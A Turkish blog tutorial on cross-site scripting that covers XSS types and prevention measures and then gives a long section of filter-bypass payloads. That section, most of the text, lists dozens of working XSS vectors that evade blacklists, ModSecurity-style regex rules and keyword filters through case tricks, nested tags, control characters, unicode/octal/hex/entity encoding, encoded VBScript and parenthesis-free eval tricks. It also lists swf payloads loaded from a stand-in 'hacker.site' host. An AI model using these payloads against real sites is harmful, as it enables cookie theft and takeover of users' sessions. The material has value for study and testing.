Cuma , 14 Mayıs 2021
XSS - CROSS SITE SCRIPTING 1 – images1

XSS – CROSS SITE SCRIPTING

Siteler Arası Betik Çalıştırma (Cross-Site Scripting) (XSS), genellikle web uygulamalarında bulunan bir tür bilgisayar güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı kodun enjekte edilmesine imkan verir. Siteler arası betik çalıştırma açıklığı, saldırganlar tarafından aynı kök politikası gibi bazı erişim kontrollerini atlatmak için kullanılabilmektedir. Web sayfaları üzerinde gerçekleştirilen siteler arası betik çalıştırma saldırıları, 2007 itibarıyla Symantec’in raporladığı tüm güvenlik açıklıklarının yaklaşık olarak %84’ünü oluşturmaktadır.Zafiyet içeren sitenin işlediği verinin hassasiyetine ve site sahibi tarafından uygulanan güvenlik tedbirlerine bağlı olarak, etkisi ufak bir aksamadan önemli bir güvenlik riskine kadar değişebilmektedir.

Cross-Site Scripting (XSS) OWASP Top 10 listesinde bulunmaktadır. Owasp’ta saldırıyı 2 şekilde meydana gelir:

  1. Veri web uygulamasına güvenli olmayan kaynaktan girerse, sıkça istek gönderilirse
  2. Veri, kötü niyetli içerik doğrulaması olmadan dinamik içerik içerisinde kullanıcıya gönderilmişse

Kısaca özetlemek gerekirse birincide kalıcı olmayan XSS’ten ikincide siteye gömülmüş kalıcı XSS’ten bahsediyor.

XSS - CROSS SITE SCRIPTING 2 – images 1

XSS saldırıları VBScript, ActiveX yapılabilir ama en çok HTML ve JavaScript kullanılıyor. Peki biz kullanıcılar XSS ile nasıl karşılaşabiliriz?

  • XSS hedef kullanıcı tarafından çalıştırılan kötü amaçlı komut dosyası ile yapılabilir.
  • Hedef tarafından görüntülenen sayfanın link ile tıklanacak ve kullanıcın kimlik bilgilerini isteyen sahte sayfa ya da form şeklinde bir sayfa ile olabilir.
  • Hedef tarafından görüntülenen reklam içeren web sitelerinde.
  • Kullanıcıya ya da topluluğa gönderilen kötü niyetli e-postalarla XSS saldırısına maruz kalabiliriz.

XSS Uygulanması

Örnek bir XSS saldırı kodu aşağıdadır. Bu kodda bir arama sayfasında html filtrelemesi yapılmazsa olabilecekler öngörülmüştür:

<script>alert(“test”)</script>”>

gibi bir değeri text alanına girdiğimizde HTML taglarının encode şekilde işlendiği için tarayıcımızda gönderdiğimiz test mesajını görürüz.

XSS - CROSS SITE SCRIPTING 3 – images 1 1

Zafiyet sitenin hangi kısımlarında bulunur? Açık genellikle POST ve GET metodlarının kullanıldığı bölümlerde görülür fakat, açığın gerek anasayfa da gerekse arka planda yazılımdan kaynaklanan hata nedeniyle bulunması kaçınılmazdır. Bunun anlamı kullanıcının siteden veri istediği ya da veri girişi yaptığı kısımlarda bulunur.

Burada zararlı kodlar kullanıldığında Cookie çalma,sayfanın içinde başka sayfaya yönlendirme.Sitemize zararlı kodlar gömerek istedikleri başka saldırılar gerçekleştirebilirler. Bu alanlara manuel olarak saldırı yapılabilir. GitHub üzerinden cheat sheet (hile sayfası) kullanılabilir ama bu kodları tek tek denemek çok uzun zaman alacaktır. Bunun yerine linux aracı olan BeEF (The Browser Exploitation Framework Project)  ile XSS açıklıklarını sömürebilirsiniz.

XSS - CROSS SITE SCRIPTING 4 – images 1

XSS Türleri 

3 Çeşit XSS Türü vardır;

  1. Reflected XSS: Kullanıcının girilmesi beklenen parametre yerine Javascript  kodu girerek bunu ekrana yansıtması ile tespit edilebilen XSS çeşitidir.
  2. Stored/Persistent XSS: Adında anlaşılacağı üzere kalıcı XSS türüdür.Bu sefer girilen payloadlar anlık olarak yansımaz bir veritabanına yada başka bir yere kayıt edilir daha sonradan ziyaret edildiğinde çalışan XSS çeşitidir.
  3. Dom XSS: Dom (Document Object Model) XSS Dom lardan kaynaklanan XSS dir.Gemelde # işaretinden sonra payload denenmesi ve sayfa yenilendiğinde alert alındığında DOM XSS var denilen XSS açıklığıdır.

XSS Önlenmesi

Bu saldırıyı engellemek için aşağıdaki birkaç önlem alınabilir:

  1. Arama girdisi, uygun kodlama kontrolünü içerecek şekilde sterilize edilebilir.
  2. Web sunucusu geçersiz istekleri yönlendirecek şekilde ayarlanabilir.
  3. Web sunucusu eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
  4. Web sunucusu iki farklı IP adresinden eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
  5. Web sitesi daha önce kullanılan kredi kartı numarasının sadece birkaç hanesini gösterebilir.
  6. Web sitesi kullanıcıların kayıt bilgilerini değiştirmeden önce tekrar parolalarını girmelerini gerektirebilir.
  7. Web sitesi İçerik Güvenlik Politikası’nın pek çok farklı yönünü kullanabilir.
  8. Kullanıcılar, “tehlikesiz gözüken” ancak kötücül olan linklere tıklamamaları konusunda eğitilebilir.
  9. Çerez HttpOnly bayrağı ile işaretlenerek JavaScript’in çereze erişimi engellenebilir.

Web uygulamalarının pen çoğu (örn. formula ve webmail) kullanıcıların belirli bir HTML etiketi setini kullanmalarına izin vermektedir. Kullanıcıdan HTML girdisi (örn. çok) alınırken, çıktı kodlaması (örn. very büyük), kullanıcı girdisi tarayıcı tarafından HTML girdisi olarak yorumlanması gerektiğinden (“çok büyük” şeklinde göstermek yerine “çok büyük” şeklinde göstermesi) yeterli olmamaktadır. will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as “very large”, instead of “very large”). Kullanıcıdan HTML girdisi alınırken XSS saldırılarının durdurulabilmesi çok daha karmaşık bir durumdur. Güvenilmeyen HTML girdisi, herhangi bir XSS kodu içermediğinden emin olunabilmesi için bir HTML sterilizasyon motorundan geçmelidir.

XSS - CROSS SITE SCRIPTING 5 – images 21

XSS Bypass

Karşılacağımız en yaygın senaryolar:
1-) XSS payload’ının uygulama veya başka bir şey tarafından engellenmesi
2-) XSS payload’ının sanitize edilmesi (arındırılması/filtrelenmesi)
3-) XSS payload’ının tarayıcı tarafından filtrelenmesi veya engellenmesi

Blacklist Filtrelerinin Bypass Edilmesi

Blacklist yöntemi en yaygın kullanılan yöntemlerden biridir. Amaçları belirli kalıpları tespit etmek ve zarar verebilecek kalıpları engellemektir. Kısaca burada yazılımcı risk oluşturabilecek bazı kalıpları blacklist e ekler ve saldırgan bu kalıpları kullanarak bir payload göndermeye kalkarsa sistem otomatik olarak engeller. Örneğin “script”etiketi en çok blacklist’e eklenen kalıplardan biridir. Bilindiği gibi script etiketi script başlangıç/bitiş kalıplarından biridir. Filtrelerin zayıf olması ve tüm olası durumları kapsamaması durumunda bu yöntem atlatılabilir hale gelebilmektedir. Örneğin hepimizin aktif olarak kullanmakta olduğu bazı payloadlar:

<ScriPt>alert(1);</ScRiPt>                    Büyük küçük harf karakterleri

<ScRiPt>alert(1);         Kapanış etiketleri olmadan büyük ve küçük harfler

<script/random>alert(1);</script>              Etiketten sonra rastgele dizi

>alert(1);</script>

<scr<script>ipt>alert(1)</scr<script>ipt>        İç içe etiketler

<scr\x00ipt>alert(1)</scr\x00ipt>                 Null Byte kullanılarak

Paylaodlarımızın hepsine dikkat ettiyseniz anahtar kelime olan “<script>” etiketini görebilirsiniz. Mesela açık kaynak kod olan ModSecurity Web Application Firewall “<script>” etiketini aşağıdaki şekilde engellemektedir.

SecRule ARGS "(?i)(<script[^>]*>[\s\S]*?<\/script[^>]*>|<script[^>] *>[\s\S]*?<\/script[[\s\S]]*[\s\S]|<script[^>]*>[\s\S] *?<\/script[\s]*[\s]|<script[^>]*>[\s\S]*?<\/script|<s cript[^>]*>[\s\S]*?)"

Başka config ayarlarını görmek isterseniz github sayfasından inceleyebilirsiniz.

Kod enjekte etmenin tek yolu “<script>” tagını kullanmak değildir. Kodumuzu çalıştırmanın farklı yollarıda mevcuttur. Örneğin:

<a href="javascript:alert(1)">show</a> 

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>

<form action="javascript:alert(1)"><button>send</button></form> 

<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button> 

<object data="javascript:alert(1)"> 

<object data="data:text/html,<script>alert(1)</script>"> 

<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

Ek olarak sevdiğim yöntemlerden biri olan swf ile bypass yöntemi var. Bu yöntemi kullanmak için buraya tıklayabilirsiniz.

<object data="//hacker.site/xss.swf"> 

<embed code="//hacker.site/xss.swf" allowscriptaccess=always> 

HTML DOM kullanarakta bypass etme şansımız var. HTML DOM hakkında bilginizin varolduğunu düşünerek devam ediyorum.

Hemen hemen tüm event handlers identifier (olay işleyicileri tanımlayıcısı olarak Türkçemize çevirebiliriz herhalde) “on” ön takısı ile başlar ve arkasından yapıcağı iş gelir. Mesela:

<img src=x onerror=alert(1)> 

Aşağıda bazı HTML 4 etiketleri örnekleri verilmiştir:

<body onload=alert(1)> 

<input type=image src=x:x onerror=alert(1)> 

<isindex onmouseover="alert(1)" > 

<form oninput=alert(1)><input></form> 

<textarea autofocus onfocus=alert(1)> 

<input oncut=alert(1)>

Bunlarda HTML 5 etiketleri örnekleri:

<svg onload=alert(1)> 

<keygen autofocus onfocus=alert(1)> 

<video><source onerror="alert(1)"> 

<marquee onstart=alert(1)>

Yazılımcının burada yapabileceği çözüm ise on ile başlayan tüm olayları filtrelemek olacaktır. Aşağıdaki regex yaygın olarak kullanılmaktadır:

(on\w+\s*=)

\w = Sözcük karakterleri anlamına gelir. [A – Z, a – z, 0 – 9, _ ] Sözcük denildiğine bakmayın dikkat ettiyseniz rakamlar ve alt çizgide dahil edilmiş durumdadır.

\s = Satır başı, satır sonu vb. gibi karakterleri belirtir. [ \t\r\n\f\x0B ]

HTML ve tarayıcı “dynamisms” karışımı kullanılarak ilk filtreyi yani on ile başlayan olayların filtrelenmesi atlatılabilmektedir. Yani slash, noktalı virgül, tırnak işaretleri ile bu kontroller atlatılabilmektedir.

<svg/onload=alert(1)> 

<svg//////onload=alert(1)> 

<svg id=x;onload=alert(1)> 

<svg id=`x`onload=alert(1)>

Yazılımcı bunun farkına vardı ve kuralına eklemeler yaptı. En son hali aşağıdaki gibi oldu.

(?i)([\s\"'`;\/0-9\=]+on\w+\s*=)

Ama burada halen bir problem var ve saldırgan bunun farkına vardı. Bazı tarayıcılar kontrol karakterlerini boşluğa dönüştürmektedir bu nedenle “\s” karakteri mümkün olan tüm karakterleri kapsamak için yeterli olamamaktadır. Bu biraz anlaşılmamış olabilir bunun için aşağıdaki örneklere bakalım:

Safari hariç tüm tarayıcılarda çalışmaktadır.

<svg onload%09=alert(1)> 

<svg %09onload=alert(1)>

<svg %09onload%20=alert(1)>

<svg onload%09%20%28%2C%3B=alert(1)> 

Aşağıdaki ise sadece Internet Explorer’da çalışmaktadır.

<svg onload%0B=alert(1)>

%09 ifadesi URL Encoded haldedir ASCII karşığı ise TAB’dır, %20’nin ise karşılığı Space’tir. Biz burada bir TAB veya bir Space yolladık ve tarayıclar bunu boşluğa dönüştürdü. Boşluğa dönüştüğü için ise “\s” karakterinin kontrol alanında olmamaktadır.

Masato Kinugawa abimiz olay adı özelliği (örneğin Onload) ve eşittir işareti (=) karakteri arasında veya olay adından hemen önce izin verilen kontrol karakterlerinin listesini yayınlamıştır.

IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]

Fakat tarayıcılar sürekli gelişmekte olduğundan yukarıdaki karakterler artık çalışmayabilir. Bunun içinde bir abimiz Fuzzer DB yaratmış. Özel olarak payload oluşturabilirsiniz veya hazır olan paylaodlara ulaşabilirsiniz.

http://shazzer.co.uk/database

Yazılımcı abimiz bununda farkına vardı ve kuralını aşağıdaki gibi geliştirdi:

(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C \x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3 B]*?=)
(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C \x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3 B]*?=)

Yazılımcı İmza tabanlı (signature-based) filtrelemeler yaparak alert, javascript, eval vb. kelimeleri engelleyerek komut yürütmeyi önlemeye çalışabilir. İmza tabanlı filtrelemenin mantığı buna dayanmaktadır. Şimdi bu tür filtrelemeleri atlatmak için kullanabileceğimiz bazı alternatiflere göz gezdirelim. Göz gezdirmeden önce ilk yazımda bahsetmiş olduğum büyük küçük harf, kapanış etiketleri olmadan büyük ve küçük harfler, etiketten sonra rastgele dizi, iç içe etiketler ve Null byte kullanarak atlatma yöntemlerini burada deneyebilirsiniz. Bahsettiğim yöntemler ile bypass edemediysek pes etmek yok. Şimdi biliyoruz ki “alert” kelimesi geçen payloadlar bloklanıyor. O zaman unicode karakterlere başvuracağız.

u0061 unicode karakterinin ASCII karşılığı ‘a’ dır.

<script>\u0061lert(1)</script> 

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

Unicode karakterlerin ASCII karşılıkları aşağıdaki gibidir:
u0061 = a
u006C = l
u0065 = e
u0072 = r
u0074 = t

Bunuda mı geçiremedik. O zaman ” ( ” , ” 1 ” , ” ) ” karakterlerinin unicode karşılıklarını yazarak ve bu sefer de eval kullanarak deneyebiliriz.

<script>eval("\u0061lert(1)")</script>

<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

Filtrelenen kalıp (örneğin alert) bir dizi içerisindeyse unicode karakterlere ek olarak birden fazla bypass yöntemi denenebilir. Örneğin:

<img src=x onerror="\u0061lert(1)"/> 

Oktal yani sekizli sayı sistemi kullanılabilir. 141’in oktal karşılığı küçük a’dır.

<img src=x onerror="eval('\141lert(1)')"/>   

Yahut Hexadecimal yani on altılı sayı sistemleri ile de bypass deneyebiliriz. x61’inin ASCII karşılığı küçük a’dır

<img src=x onerror="eval('\x61lert(1)')"/>

Hexadecimalda olmadıysa pes etmek yok. Onaltılık veya onluk Numerik referans karakterleri kullanabiliriz. (Hexadecimal Numeric Character Reference and Decimal NCR )

Hexadecimal NCR:

<img src=x onerror="&#x0061;lert(1)"/>

Decimal NCR:

<img src=x onerror="&#97;lert(1)"/>

Superfluous Escape Characters yöntemi deneyebiliriz. Burada ters slash kullanılarak yasaklı kelimeyi bypass ettirmeye çalışabiliriz.

<img src=x onerror="eval('\a\l\ert\(1\)')"/>

Buraya kadar öğrendiğimiz tüm bypass tekniklerini tek bir payload içerisinde de kullanabiliriz.

<img src=x onerror="\u0065val('\141\u006c&#101;&#x0072t\(&#49)')"/>

Dizeleri nasıl oluşturacağımızı bilmek, filtreleri atlatmada önemli rol oynar. Örneğin her zaman ki gibi yazılımcımız “alert” anahtar sözcüğünü engellemiştir ancak büyük olasılıkla “ale” + “rt” engellememiş olabilir. Javascript dizeler oluşturmak için kullanışlı çeşitli işlevlere sahiptir. Örneğin:

<img onerror='ale'+'rt'(1)>

/ale/.source+/rt/.source 

String.fromCharCode(97,108,101,114,116) 

Kodu yürütmek için örneklerimizde eval ve bazı işlevleri kullandık. Teknik olarak, dizeyi Javascript kodu olarak ayrıştıran işlevlere execution sinks denir. Bu işlevleri analiz etmemizin nedeni basittir. Bunlardan birini kullanabiliyorsak, Javascript komutu çalıştırabiliriz demektir. Aşağıdakiler sadece birkaç execution sinks, tam liste için buraya tıklayabilirsiniz:

setTimeout("JSCode")     --> Tüm tarayıcılar

setInterval("JSCode")     --> Tüm tarayıcılar

setImmediate("JSCode")    --> Internet Explorer 10 ve üzeri

Function("JSCode")         --> Bütün tarayıcılar

Exectuion Sinks’in söz dizimi aşağıdaki gibidir:

[ ] . constructor . constructor(alert(1)) 

[ ] = Obje
Birinci constructor = Dizi
İkinci constructor = Fonksiyon
Parantez içindeki ise XSS payload’ının yer alacağı kısımdır

Yazılımcı abimiz ” javascript: ” kelimesini filtrelediğini düşünelim. Yine ilk başlarda gösterdiğimiz yöntemlerle deneme yapabiliriz.

<object data="JaVaScRiPt:alert(1)"> 

<object data="javascript&colon;alert(1)">

<object data="java

script:alert(1)">

<object data="javascript&#x003A;alert(1)"> 

<object data="javascript&#58;alert(1)">

<object data="&#x6A;avascript:alert(1)"> 

<object data="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;alert(1)">

Gördüğünüz gibi hiç birinde filtrelenmiş kelimeyi kullanmadık. ” javascript: ” yerine alternatif olarak ” data: ” veya Internet Explorer’a özel olan “vbscript: ” kullanabiliriz.

Data: , farklı ortam türleriyle sunulan küçük veri öğelerinin eklenmesine olanak tanır. Söz dizimi:

data:[<mediatype>][;base64],<data>

Burada bizi ilgilendiren medya tipi text/html ve verilerimizi şifrelememizi sağlayacak olan base64 işlevidir. Örneğin:

<object data="data:text/html,<script>alert(1)</script>"> 

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

Peki yazılımcı abimiz farkına vardı ve ” data: ” blackliste ekledi. Peki şimdi ne yapacağız? Tabi ki yine öğrendiklerimizi deneyeceğiz ve data kelimesini öğrendiğimiz yöntemlerle bypass etmeye çalışacağız.

<embed code="DaTa:text/html,<script>alert(1)</script>"> 

<embed code="data&colon;text/html,<script>alert(1)</script>"> 

<embed code="data&#x003A;text/html,<script>alert(1)</script>"> 

<embed code="&#x64;&#x61;ta:text/html,<script>alert(1)</script>">

Vbscript işlevinide kullanabiliriz ama Internet Explorer’da çalıştığından çok yaygın değildir. VBScript’ tetiklemek için ” vbscript: ” veya ” vbs: ” kullanabiliriz.

Internet Explorer 8’e kadar çalışanlar:

<img src=a onerror="vbscript:msgbox 1"/> 

<img src=b onerror="vbs:msgbox 2"/> 

Internet Exlorer Edge’ye kadar çalışanlar:

<img src=c onerror="vbs:alert(3)"/>

<img src=d onerror="vbscript:alert(4)"/>

Yazılımcı abimiz ” vbsscript: ” black liste ekledi. Yine öğrendiklerimizi uygulayacağız.

<img src=x onerror="vbscript&#x003A;alert(1)">

<img src=x onerror="vb&#x63;cript:alert(1)"> 

Microsoft bir zamanlar “Script Encoder” diye bir özellik sunmuştu. Bu özellik VBScript ve JScript kodlarımızı gizlememizi sağlıyordu. Tabi bizim camianın kötü yanlarından biri bunu sadece yazılımcılar değil hacker diye tabir ettiğimiz abilerimizde kullanıyor. Bunun için Scripts Encryptor diye bir araç var onu kullanabilirsiniz.

XSS - CROSS SITE SCRIPTING 6 – foto1 1024x4101 1
<img src=x onerror="vbscript.Encode:#@~^CAAAAA==Cd+]:`8#OgIAAA==^#~@"> 

<img src=x language="VBScript.Encode" onerror="#@~^CAAAAA==Cd+]:`8#OgIAAA==^#~@">

<script language="VBScript.Encode">#@~^CAAAAA==Cd+]:`8#OgIAAA==^#~@</script>

“Sanitization” yani Türkçe karşılığı sterilize etmektir. Güvenlik mekanizmaları genellikle tüm isteği engellemek yerine potansiyel XSS payloadlarını sterelize etmeyi uygun görür. Sızma testlerinde veya Bug Bounty camiasında karşımıza çıkan en yaygın filtreleme yöntemidir. Yani basitçe gönderdiğiniz payload’da anahtar kelimeyi/etiketi zararlı bulur ve sterelize ederek o kelimeyi çıkartır. Burada yapılabilecek hatalardan yaygın olanı ise anahtar kelimenin sadece ilk örneğinin kaldırılmasıdır. Örneğin:

Biz ” <script> alert (1) </script>” payloadı gönderdiğimizde “<script>” anahtar kelimesi/etiketi sterilize edilecek ve elimizde sadece alert(1) ifadesi kalacaktır. Aşağıdaki payload gönderildiğinde ise payloada bakılacak script etiketi geçen yerler kaldırılacaktır.

<scr<script>ipt>alert(1)</script>

Burada ilk script etiketi sterilize edilecek fakat ikinci kez edilmediğinden kaynaklı payloadımız çalışacaktır.

Ters slash işareti ( \ ) kullanılarakta bypass yapılabilir. Örneğin aşağıdaki kodu kontrol edebildiğimizi düşünelim.

<script>
	var key = ' Okan ';
</script>

Burada tırnak işaretlerinden kurtulabilmek için ters slash denenebilir. Yukarıdaki Okan yerine aşağıdaki payload gönderililirse tek tırnak bypass edilebilir.

Okan\' alert(1); //

Sonda gönderilen normal slash işaretleri ile payloaddan sonra gelicek tüm kodları yorum satırına düşürüyoruz. Javascript’te ” // ” karakteri yorum satırı eklemek için kullanılmaktadır.

Yararlı Javascript yöntemlerinden biri olan String.fromCharCode() kullanılabilir. Unicode değerler oluşturup kullanmamızı sağlamaktadır. Örneğin:

String.fromCharCode(120,115,9416)

Küçük x decimal karşlığı 120

Küçük s decimal karşılığı 115

Circled Decimal karşlığı yani yuvarlak içinde büyük S 9416

Ayrıca oluşturulan bir dizeden kaçmak için unescape yöntemiyle oynayabiliriz. Örneğin .source tekniği ile dizeden kaçabiliriz.

unescape(/%78%u0073%73/.source)

Bu özellik kullanımdan kaldırılmış olsa bile bir çok tarayıcı desteğini devam ettirmektedir. Denenebilir.

Buna ek olarak decodeURI ve decodeURIComponent yöntemleri vardır.

decodeURI(/alert(%22xss%22)/.source)

decodeURIComponent(/alert(%22xss%22)/.source)

Gönderdiğimiz payloadlara baktığımızda genelde çoğunda parantezler mevcut. Peki ya parantez işaretleri sterilize ediliyorsa o zaman ne yapacağız? Gareth Heyes diye bir abimiz parantez kullanmadan bir fonksiyona argüman iletmenin bir yolunu bulmuş. Onerror olay işleyicisini kullanarak bir şeyler yapabilmiş.

<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'"> 

eval = Hata durumunda çağırılacak fonksiyon

throw = Hatayı oluşturan kısım

alert\x281\x29 kısmı ise hata fonksiyonunun parametreleridir.

Dikkat ettiyseniz herhangi bir parantez işareti kullanılmadı ve bu şekilde bu kontrolüde bypass edebildik. Yukarıdaki payload Firefox ve Internet Explorer’da çalışmayabiliyor. Daha basit olarak kullanmak gerekirse:

onerror=alert;throw 1;

Payload dahada geliştirilebilir ve öğrendiğimiz unicode karakterler ile bir şeyler yapılabilir.

<img src=x onerror=" window.onerror=eval;throw'\u003d&#x0061;&#x006C;ert&#x0028;1&#41;' "/> 

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir